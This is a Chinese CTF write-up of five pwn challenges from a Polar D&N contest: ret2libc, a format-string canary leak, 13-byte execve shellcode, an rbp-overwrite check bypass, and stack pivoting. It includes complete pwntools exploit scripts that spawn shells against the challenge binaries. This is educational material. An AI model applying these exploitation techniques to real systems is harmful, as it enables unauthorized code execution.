前言

这次polarD&N上pwn方向上的题都挺好的,进一步学习了canary绕过也发现了自己的很多问题(看得懂知识的不知道怎么实际来打等)

libc

一题简单的ret2libc,也是当天唯一出的一题

1
2
3
4
5
6
7
8
int jiu()
{
char buf[58]; // [esp+Eh] [ebp-3Ah] BYREF

puts("like");
read(0, buf, 0x50u);
return 0;
}//有栈溢出漏洞

程序动态链接,开了nx没开canary有puts函数直接puts泄露libc即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import*
from LibcSearcher import*

io=remote('1.95.36.136',2148)
#io=process('./pwn')
elf=ELF('./pwn1')
main=elf.sym['main']
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']


payload=b'a'*(0x3A+4)+p32(puts_plt)+p32(main)+p32(puts_got)

io.recvline('like')
io.sendline(payload)
puts=u32(io.recvuntil('\xf7')[-4:])
print(hex(puts))
libc=LibcSearcher('puts',puts)

libc_base=puts-libc.dump('puts')
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')

payload1=b'a'*(0x3A+4)+p32(system)+p32(0)+p32(bin_sh)
io.sendline(payload1)


io.interactive()

选出来的libc为1 - libc6-i386_2.23-0ubuntu11.3_amd64

fmt_text

简单的格式化字符串漏洞泄露canary

32位程序,开启了nx和canary

漏洞函数:

1
2
3
4
5
6
7
8
9
10
11
12
unsigned int yichu()
{
char s[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v2; // [esp+6Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
gets(s);
printf(s);
gets(s);
printf(s);
return __readgsdword(0x14u) ^ v2;
}

发现printf出存在格式化字符串漏洞,可以用该处泄露canary

先测试格式化字符的偏移

第一次输入aaaa%x-%x-%x-%x-%x-%x-%x(其中%x用于以16进制形式输出整数值)

其中a的16进制表示为61故由下图可知格式化字符的偏移为6。

1

canary的位置距离栈顶的位置是0x70-0xC=0x64,32位程序则为0x64/4=25,故想要输出canary需要25+6个%x,该题提供了system函数但是没有/bin/sh需要我们构造rop链输入进去,有了canary就可以开始利用第二个gets构造rop链了

gdb中用vmmap找到了一段可读写的区域用于存放/bin/sh

1

但是直接放置在0x804a000会发现打不通,打开ida看才发现如果放在0x804a000的话就会覆盖掉部分got.plt表导致最后shell无法执行,所以只能放置bss段即0804A080(还是位于可读写的段上的)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import*

#conn = remote('1.95.36.136',2087)

conn = process('./pwn')
elf = ELF('./pwn')
bss=0x804a080
ret=0x080486eb
system=elf.sym['system']
get_plt=elf.plt['gets']
payload_1 = b'%31$x' #该条指令含义为以十六进制形式输出第31个数据即为canary

conn.sendline(payload_1)

recvbytes = conn.recv()

# 获取canary
canary = int(recvbytes, 16)
print(f'Canary: {hex(canary)}')
# 第二次溢出
payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a' * 0xc + p32(get_plt)+p32(system)+p32(bss)+p32(bss)
conn.sendline(payload_2)

conn.send(b"/bin/sh\x00") #记得加上\x00截断,放置误读参数无法正常get shell

conn.interactive()

bllbl_shellcode_2

这题保护只开了部分RELRO还有可读写执行的段,结合题目自然想到了shellcode,发现程序有个jmp rsa,但是buf很小只有0x5的大小,可输入字节数也很少能写入shellcode的大小只有13(5+8(ebp))个字节所以联想到了栈迁移,用两次leave ret之类的扩展溢出字节数但是不会实操就卡住了

看了官方讲解后发现需要用这13个字节来达成execve(“/bin/sh\x00”,0,0)的调用

check:

1
2
3
4
5
6
7
[*] '/home/pwn/桌面/pwn1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

发现有RWX的段,保护只开了部分RELRO

IDA打开发现程序很简单,有一个明显溢出点,会输出栈顶地址

1
2
3
4
5
6
7
8
ssize_t yichu()
{
char buf[5]; // [rsp+Bh] [rbp-5h] BYREF

printf("addr1:%p\n", buf);
puts(&byte_402060);
return read(0, buf, 27uLL);
}

buf很小,可溢出字节数也很少5,能够构造shellcode的字节就只有

+8也就是buf大小+ebp=13个字节接着将栈顶移到buf[0]上jmp rsp(程序中自带)

使用gdb调试来测试shellcode如何写

先运行该exp开启调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import*
context(os = 'linux', arch = 'amd64', log_level = 'debug')
#io=remote("node4.buuoj.cn", 25882)
io=process("./pwn1")

elf=ELF("./pwn1")

io.recvuntil("0x")
buf_addr=int(io.recv(12),16)

success("buf_addr >>> 0x%x" % buf_addr)

jmp_rsp=0x401380
bin_sh=0x402047

shellcode= b'a'*13 #13
shellcode += p64(jmp_rsp)
shellcode += asm("sub rsp, 0x15 ; jmp rsp")
gdb.attach(io,"b* 0x0401376")#断点位于调用read后的leave处
io.sendline(shellcode)
pause()#暂停

当运行到jmp rsp时,RSP指向sub rsp,0x15处

为什么是减去0x15呢?因为此时栈顶指向sub rsp,0x15这条压在栈上的指令,目前我有两种理解方式,第一种是通过调试发现在第一次jmp rsp时rsp指向sub rsp,xxx 这条汇编,该条汇编地址减去buf地址刚好是0x15,第二种理解是0x15=5+8+8=21也就是buf+rbp+返回地址的距离。

故rsp减去0x15后刚好指向buf处继续执行下一个jmp rsp调用shellcode。

1

想要达成execve(“/bin/sh,0,0”)

1
2
3
4
需让rdi指向/bin/sh(题目中已给)
rax=0x3b(execve的系统调用号)
rsi=0
rdx=0

据调试可知目前rdi=0

故可

1
2
3
4
5
mov al,0x3b;小端序只改变低位寄存器来存储系统调用号
mov esi,edi;将rsi置零为了更节省字符所以只改变低位寄存器
mov edi,0x402047;/bin/sh
mov edx,esi;将rdx置零为了更节省字符所以只改变低位寄存器
syscall;系统调用

字节数计算:

  1. mov al, 0x3b
  • 操作码:B0mov r8, imm8
  • 立即数:3B
  • 总字节数:2 字节
  1. mov esi, edi
  • 操作码:89mov r/m32, r32
  • ModR/M 字节:FEesi 是目标寄存器,edi 是源寄存器)
  • 总字节数:2 字节
  1. mov edi, 0x402047
  • 操作码:BFmov r32, imm32
  • 立即数:47 20 40 00(小端存储)
  • 总字节数:5 字节
  1. mov edx, esi
  • 操作码:89mov r/m32, r32
  • ModR/M 字节:F2edx 是目标寄存器,esi 是源寄存器)
  • 总字节数:2 字节
  1. syscall
  • 操作码:0F 05syscall 指令)
  • 总字节数:2 字节

总结

每条指令的字节长度如下:

  1. mov al, 0x3b:2 字节
  2. mov esi, edi:2 字节
  3. mov edi, 0x402047:5 字节
  4. mov edx, esi:2 字节
  5. syscall:2 字节

总字节数:2 + 2 + 5 + 2 + 2 = 13 字节。刚好够写

故最后完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import*
context(os = 'linux', arch = 'amd64', log_level = 'debug')
#io=remote("node4.buuoj.cn", 25882)
io=process("./pwn1")

elf=ELF("./pwn1")

io.recvuntil("0x")
buf_addr=int(io.recv(12),16)

success("buf_addr >>> 0x%x" % buf_addr)

jmp_rsp=0x401380
bin_sh=0x402047

#shellcode= b'a'*13 #13
shellcode=asm("""
mov al,0x3b
mov esi,edi
mov edi,0x402047
mov edx,esi
syscall
""")
shellcode += p64(jmp_rsp)
shellcode += asm("sub rsp, 0x15 ; jmp rsp")
#gdb.attach(io,"b* 0x40132D")
io.sendline(shellcode)

#pause()
io.interactive()

kio

check

1
2
3
4
5
6
7
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

只要满足v4==520 n=520即可进入xxx函数该处存在一个大的溢出点可以打libc

xxx

1
2
3
4
5
6
7
ssize_t xxx()
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF

puts("Welcome to Polar CTF!\n");
return read(0, buf, 0x150uLL);
}

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+5Ch] [rbp-4h] BYREF

init(argc, argv, envp);
v4 = 0;
printf("choose your challenge\n:");
puts("1.write shell");
puts("2.use shell");
puts("3.exif");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
wrshell();
break;
case 2:
usshell();
break;
case 3:
exif();
break;
}
puts("Enter a:");
__isoc99_scanf("%d", &v4);
if ( v4 == 520 && n == 520 )
{
puts("GOOD");
xxx();
}
else
{
puts("Bless you");
}
return 0;
}

简单的菜单模板

ida中查看发现n位于bss段上

wrshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int wrshell()
{
int v1; // [rsp+8h] [rbp-58h] BYREF
int v2; // [rsp+Ch] [rbp-54h] BYREF
char buf[80]; // [rsp+10h] [rbp-50h] BYREF

v2 = 0;
v1 = 0;
puts("Enter number:");
__isoc99_scanf("%d", &v1);
printf("size:");
__isoc99_scanf("%d", &v2);
puts("Enter sehll:");
read(0, buf, 88uLL);
return puts("success");
}

分析发现wrshell中有8个字节的溢出刚好可以覆盖rbp

观察main函数中if部分的汇编

1
2
3
4
5
6
7
.text:0000000000400890 8B 45 FC                      mov     eax, [rbp+var_4]
.text:0000000000400893 3D 08 02 00 00 cmp eax, 208h
.text:0000000000400898 75 23 jnz short loc_4008BD
.text:0000000000400898
.text:000000000040089A 8B 05 EC 07 20 00 mov eax, cs:n
.text:00000000004008A0 3D 08 02 00 00 cmp eax, 208h
.text:00000000004008A5 75 16 jnz short loc_4008BD

故想要能够进入xxx函数需要[rbp+var_4]地址上的数据和n同时为520才不会跳转到loc_4008BD中也就是else的部分,wrshell中的8个字节刚好可以覆盖rbp结合leave ret可以控制到原函数后的rbp的值,故只需将[rbp+var_4]改为n的地址两次cmp的都是n的值,n也作为了scanf的参数,故直接输入520即可进入xxx函数

补充一下leave指令

leave相当于mov rsp,rbp;pop rbp也就是先将此时rbp的值赋给栈顶,再将栈顶的值pop到rbp中

故我们利用wrshell中的read溢出的8个字节将rbp修改为n地址+4(加4是因为var_4是-4故要保证rbp+var_4是n的地址需要加4),之后leave后父函数此时的rbp就变成了n地址加4。

1

图片展示的是通过覆盖rbp加leave后将rbp的值修改成了12345678,证明我们成功控制了rbp

接下来换为n的地址+4即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import*
from LibcSearcher import*
context(os = 'linux', arch = 'amd64', log_level = 'debug')
#context(os = 'linux', arch = 'i386', log_level = 'debug')
#io = process('./pwn')
io = remote('1.95.36.136',2106)
elf = ELF('./pwn')
n_addr=0x0060108C
io.recv()
io.sendline(b'1')
io.recv()
io.sendline(b'1')
io.recv()
io.sendline(b'1')
io.recv()
payload=b'a'*(0x50)+p64(n_addr+4)
io.sendline(payload)
io.recv()
io.sendline(b'520')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
xxx_addr=elf.symbols['xxx']
pop_rdi_ret=0x400a63

payload=b'a'*(80+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(xxx_addr)
io.sendline(payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc=ELF('./libc.so')
libc_base=puts_addr-0x06f6a0
system_addr=libc_base+0x0453a0
bin_sh=libc_base+0x18ce57
payload=b'a'*(80+8)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system_addr)
io.sendline(payload)
io.interactive()

libc database search有了地址的后三位之后可以用该网站来查libc。

bllbl_mom

check

1
2
3
4
5
6
7
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

漏洞函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int mom()
{
char buf[68]; // [esp+8h] [ebp-50h] BYREF
unsigned int v2; // [esp+4Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
printf("Write a few words to Mom");
read(0, buf, 5u);
printf(buf);
read(0, buf, 0x58u);
printf("%s", buf);
read(0, buf, 0x58u);
printf("%s", buf);
return 0;
}

给了system函数但是没有bin_sh,存在格式化字符串漏洞可以利用第一个read输入格式化字符在printf处泄露出canary

第二个或第三个read可溢出的字节数除去ebp和返回地址只剩下了4溢出后还要加上canary的值显然是不太够的,所以我们想到了栈迁移,第一次leave ret将ebp的值修改为我们想要迁移到的位置即输入提权内容的地址,第二次leave ret将esp迁移到新ebp处接着pop ebp ,esp随之下移到system_plt地址,接着ret也就是pop eip将system_plt地址弹到eip中调用system这样就成功绕过了NX保护使栈上的system可执行了

栈迁移的本质就是通过改变ebp的值改变esp的指向进而使用ret控制执行流

1

故总体思路为,先利用第一个read泄露出canary,第二个read泄露出ebp的值,第三个read写提权内容。

泄露canary:

1
2
3
4
io.send(b'%23$p')
io.recvuntil(b'0x')
canary=int(io.recv(8),16)
print(b'canary>>>'+hex(canary))

因为只有5个字节,不好测格式化字符的偏移,一般为6如果不对的话只有爆破尝试了,通过gdb测量canary与输入位置之间的距离‘

1

该图是第一个read输入aaaa后的状态

汇编里可以看到canary的地址在ebp-0xc处故通过p/x计算出其地址,发现为0x17处减去输入位置的0x06即为0x11=17,17+6=23

故第一个read输入%23$p输出canary的值

通过观察mom函数汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
.text:0804863A                               ; __unwind {
.text:0804863A 55 push ebp
.text:0804863B 89 E5 mov ebp, esp
.text:0804863D 83 EC 58 sub esp, 58h
.text:08048640 65 A1 14 00 00 00 mov eax, large gs:14h
.text:08048646 89 45 F4 mov [ebp+var_C], eax
.text:08048649 31 C0 xor eax, eax
.text:0804864B 83 EC 0C sub esp, 0Ch
.text:0804864E 68 B0 87 04 08 push offset format ; "Write a few words to Mom"
.text:08048653 E8 F8 FD FF FF call _printf
.text:08048653
.text:08048658 83 C4 10 add esp, 10h
.text:0804865B 83 EC 04 sub esp, 4
.text:0804865E 6A 05 push 5 ; nbytes
.text:08048660 8D 45 B0 lea eax, [ebp+buf]
.text:08048663 50 push eax ; buf
.text:08048664 6A 00 push 0 ; fd
.text:08048666 E8 D5 FD FF FF call _read
.text:08048666
.text:0804866B 83 C4 10 add esp, 10h
.text:0804866E 83 EC 0C sub esp, 0Ch
.text:08048671 8D 45 B0 lea eax, [ebp+buf]
.text:08048674 50 push eax ; format
.text:08048675 E8 D6 FD FF FF call _printf
.text:08048675
.text:0804867A 83 C4 10 add esp, 10h
.text:0804867D 83 EC 04 sub esp, 4
.text:08048680 6A 58 push 58h ; 'X' ; nbytes
.text:08048682 8D 45 B0 lea eax, [ebp+buf]
.text:08048685 50 push eax ; buf
.text:08048686 6A 00 push 0 ; fd
.text:08048688 E8 B3 FD FF FF call _read
.text:08048688
.text:0804868D 83 C4 10 add esp, 10h
.text:08048690 83 EC 08 sub esp, 8
.text:08048693 8D 45 B0 lea eax, [ebp+buf]
.text:08048696 50 push eax
.text:08048697 68 C9 87 04 08 push offset aS ; "%s"
.text:0804869C E8 AF FD FF FF call _printf
.text:0804869C
.text:080486A1 83 C4 10 add esp, 10h
.text:080486A4 83 EC 04 sub esp, 4
.text:080486A7 6A 58 push 58h ; 'X' ; nbytes
.text:080486A9 8D 45 B0 lea eax, [ebp+buf]
.text:080486AC 50 push eax ; buf
.text:080486AD 6A 00 push 0 ; fd
.text:080486AF E8 8C FD FF FF call _read
.text:080486AF
.text:080486B4 83 C4 10 add esp, 10h
.text:080486B7 83 EC 08 sub esp, 8
.text:080486BA 8D 45 B0 lea eax, [ebp+buf]
.text:080486BD 50 push eax
.text:080486BE 68 C9 87 04 08 push offset aS ; "%s"
.text:080486C3 E8 88 FD FF FF call _printf
.text:080486C3
.text:080486C8 83 C4 10 add esp, 10h
.text:080486CB B8 00 00 00 00 mov eax, 0
.text:080486D0 8B 55 F4 mov edx, [ebp+var_C]
.text:080486D3 65 33 15 14 00 00 00 xor edx, large gs:14h
.text:080486DA 74 05 jz short locret_80486E1
.text:080486DA
.text:080486DC E8 8F FD FF FF call ___stack_chk_fail

发现只有在最后才异或检测canary的值,所以我们在最后一次read补上canary的值即可

第二次read泄露ebp

1
2
3
4
payload1=b'a'*(0x50-1)+b'b'
io.send(payload1)
io.recvuntil(b'b')
ebp_addr=u32(io.recvuntil(b'\xff')[-4:])

测量ebp距离输入点的偏移

1

输入了aaa故ebp距离输入点0x98-0x38=0x60注意这里是用ebp的值去减也就是198而不是188因为我们是将ebp的值赋给esp而不是将其地址赋给esp这点要注意

第三次read

1
2
3
4
5
s_addr=ebp_addr-0x60
sh_addr=s_addr-0x10

payload2=b'aaaa'+p32(system_addr)+p32(0)+p32(sh_addr)+b'/bin/sh\x00'
io.send(payload2)

s_addr就是我们payload2开始放置的位置,payload2中前4个a是因为栈迁移之后esp指向ebp的值的位置也就是我们的初始输入位置,此时会pop ebp,会将前4个字节的数据弹到ebp里接着esp+4 执行ret也就是pop eip,故前4个字节无效用aaaa填充接着写system的地址

sh_addr要减0x10是因为b’aaaa’+p32(system_addr)+p32(0)+p32(sh_addr)刚好是16个字节也就是0x10之后的地址才是我们的/bin/sh\x00

接着运行一次测试canary要放在哪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*

#context(os = 'linux', arch = 'amd64', log_level = 'debug')
context(os = 'linux', arch = 'i386', log_level = 'debug')
io = process('./pwn')
#io = remote('1.95.36.136',2106)
elf = ELF('./pwn')
system_addr=0x08048490
leave_ret=0x08048538

io.send(b'%23$p')
io.recvuntil(b'0x')
canary = int (io.recv(8),16)
print('canary>>>'+hex(canary))
payload=b'a'*(0x50-1)+b'b'
io.send(payload)
io.recvuntil(b'b')
ebp_addr=u32(io.recvuntil(b'\xff')[-4:])
s_addr=ebp_addr-0x60
sh_addr=s_addr+0x10

payload2=b'aaaa'+p32(system_addr)+p32(0)+p32(sh_addr)+b'/bin/sh\x00'
io.send(payload2)
io.interactive()

1

可以看到此时第三个read发送了0x18的数据canary距离输入是有17个32位地址的距离,也就是17*4=68-0x18=44个字节,也可以用0x50-0x0C-0x18=44

接着完善payload

1
payload2=b'aaaa'+p32(system_addr)+p32(0)+p32(sh_addr)+b'/bin/sh\x00'+b'a'*44+p32(canary)+b'a'*(0x0C-4)+p32(s_addr)+p32(leave_ret)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*

#context(os = 'linux', arch = 'amd64', log_level = 'debug')
context(os = 'linux', arch = 'i386', log_level = 'debug')
#io = process('./pwn')
io = remote('1.95.36.136',2078)
elf = ELF('./pwn')
system_addr=0x08048490
leave_ret=0x08048538

io.send('%23$p')
io.recvuntil(b'0x')
canary = int (io.recv(8),16)
print('canary>>>'+hex(canary))
payload=b'a'*(0x50-1)+b'b'
io.send(payload)
io.recvuntil(b'b')
ebp_addr=u32(io.recvuntil(b'\xff')[-4:])
s_addr=ebp_addr-0x60
sh_addr=s_addr+0x10

payload2=b'aaaa'+p32(system_addr)+p32(0)+p32(sh_addr)+b'/bin/sh\x00'+b'a'*44+p32(canary)+b'a'*(0x0C-4)+p32(s_addr)+p32(leave_ret)
io.send(payload2)
io.interactive()

到这里就浮现完本次比赛的所有栈题了,堆因为还没学概念就没浮现收获还是很多的~~